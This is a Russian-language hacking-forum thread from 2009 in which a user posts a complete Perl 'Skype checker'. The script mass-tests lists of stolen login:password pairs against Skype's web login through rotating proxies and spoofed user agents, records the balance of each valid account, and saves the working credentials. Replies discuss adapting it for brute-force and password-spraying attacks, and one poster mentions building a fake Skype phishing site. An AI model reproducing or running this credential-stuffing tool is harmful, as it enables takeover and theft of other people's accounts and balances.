ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[PERL] Skype Cheker by Gaus
  #1  
Старый 23.06.2009, 16:24
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию [PERL] Skype Cheker by Gaus

Написал недавно, мб кому-то пригодится
[ + ] Многопоточность
[ + ] Поддержка прокси
[ + ] Определение баланса валидных аккаунтов
Код:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###################################
my $threads = 1;                  # Кол-во потоков
my $accs_file = 'data/accs.txt';  # Файл со списком аккаунтов
my $accs_delm = ':';              # Разделитель списка аккаунтов
my $proxy_file = 'data/proxy.txt';# Файл со списком proxy
my $proxy_mode = 'OFF';           # Режим использования proxy(ON/OFF)
my $delay = 0;                    # Задержка
###################################
$| = 1;
system 'title Skype Checker (c) Gaus 2010 icq 648249';
system 'color A';
my @accs : shared = lf($accs_file);
my @proxy : shared = lf($proxy_file);
my $valid : shared = 0;
my $invalid : shared = 0;
my $err : shared = 0;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my $ua = LWP::UserAgent->new(timeout => 35,
                                     cookie_jar => new HTTP::Cookies,
                                     agent => agent());
        my ($login, $pass) = split $accs_delm => shift @accs;
        GET:
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my $answ = $ua->post('https://secure.skype.com/account/intl/ru/login',
                            ['invite_token' => '',
                             'timezone_field' => '+02|00',
                             'username' => $login,
                             'password' => $pass])->as_string;
        if($answ =~ m,302 Found,i)
        {
            {
                lock $valid;
                ++$valid 
            }            
            my $req = $ua->get('https://secure.skype.com/account/intl/ru/')->content;
            if($req =~ m,;</span>(.+?)</span>,i)
            {
                $pass .= ';'.$1
            }
            wf('valid_accs.txt', "$login:$pass\n");
            cout("[ + ] Valid account[$login:$pass]    \n")
        }
        elsif($answ =~ m,Ошибка идентификации,i)
        {
            {
                lock $invalid;
                ++$invalid
            }
            wf('invalid_accs.txt', "$login:$pass\n");
            cout("[ - ] Invalid account[$login:$pass]    \n") 
        }
        elsif($answ =~ m,405 Method|500 read|500 Can't|CoDeeN,i)
        {
            cout("[ ~ ] Error proxy, trying again...    \n");
            goto GET
        }
        else
        {
            {
                lock $err;
                ++$err
            }
            wf('error_accs.txt', "$login:$pass\n");
            cout("[ - ] Error account[$login:$pass]    \n")  
        }
        sleep $delay
    }
}
sub proxy
{
    my $ua = shift;
    my ($ip, $port) = split ':' => $proxy[rand scalar @proxy];
    $ua->proxy('http' => 'http://'.$ip.':'.$port);
    my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content;
    if($test =~ m,REMOTE_ADDR=$ip,i)
    {
        cout("[ + ] Try proxy[$ip:$port]       \n");
        return 1
    }
    else
    {
        cout("[ - ] Bad proxy[$ip:$port]      \n");
        return 0
    }
}
sub agent
{
    my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];
    return $agents[rand scalar @agents]
}
sub cout
{
    print $_[0];
    print "[Valid: $valid | Invalid: $invalid | Error: $err]\r"
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat
}

Последний раз редактировалось Gaus; 22.01.2010 в 17:40..
 
Ответить с цитированием

  #2  
Старый 23.06.2009, 20:44
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб
 
Ответить с цитированием

  #3  
Старый 23.06.2009, 21:07
Аватар для [n]-c0der
[n]-c0der
Участник форума
Регистрация: 03.02.2009
Сообщений: 104
Провел на форуме:
270228

Репутация: 70
По умолчанию

Цитата:
Сообщение от Spyder  
кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб
Уже написали )), к примеру скайп флудер на пайтоне использующий библиотеку скайповскую.
 
Ответить с цитированием

  #4  
Старый 27.06.2009, 23:21
Аватар для Grinya11
Grinya11
Познающий
Регистрация: 11.02.2009
Сообщений: 42
Провел на форуме:
204206

Репутация: 14
По умолчанию

А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как
 
Ответить с цитированием

  #5  
Старый 27.06.2009, 23:23
Аватар для Grinya11
Grinya11
Познающий
Регистрация: 11.02.2009
Сообщений: 42
Провел на форуме:
204206

Репутация: 14
По умолчанию

эт скайп серв блочит множество запросов с одного ип?
 
Ответить с цитированием

  #6  
Старый 29.06.2009, 00:15
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

Цитата:
Сообщение от Grinya11  
эт скайп серв блочит множество запросов с одного ип?
мб,вроде если брутить на один пасс множество логинов, то вроде не блочит.
 
Ответить с цитированием

  #7  
Старый 02.07.2009, 00:05
Аватар для Grinya11
Grinya11
Познающий
Регистрация: 11.02.2009
Сообщений: 42
Провел на форуме:
204206

Репутация: 14
По умолчанию

ну да только если так! Вот мучу щас фейк скайпа сайта, всучу комунить
 
Ответить с цитированием

  #8  
Старый 02.07.2009, 22:23
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

Цитата:
Сообщение от Grinya11  
А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как
Реально, могу сделать, но это никому не нужно

Последний раз редактировалось Gaus; 06.12.2009 в 11:15..
 
Ответить с цитированием

  #9  
Старый 18.11.2009, 23:58
Аватар для !JaX!
!JaX!
Познающий
Регистрация: 28.04.2007
Сообщений: 42
Провел на форуме:
8056599

Репутация: 42
Отправить сообщение для !JaX! с помощью Yahoo
По умолчанию

Код:
C:\skype brut>cmd
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\skype brut>brut.pl
Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
kype brut\brut.pl line 34.

C:\skype brut>
Что не так?
 
Ответить с цитированием

  #10  
Старый 20.11.2009, 00:46
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

Цитата:
Сообщение от !JaX!  
Код:
C:\skype brut>cmd
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\skype brut>brut.pl
Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
kype brut\brut.pl line 34.

C:\skype brut>
Что не так?
Упс, я забыл кусок кода вставить попробуй заново
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Сотовики vs Skype: битва началась jerrri Мировые новости 26 15.05.2009 10:58
Skype будет продан на бирже!!! bender123 Мировые новости 7 20.04.2009 14:49
Nokia будет поставлять смартфоны с уже установленным Skype jerrri Мировые новости 0 17.02.2009 19:29
FAQ&Hack – Skype И.Г. Авторские статьи 31 16.11.2007 16:54



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ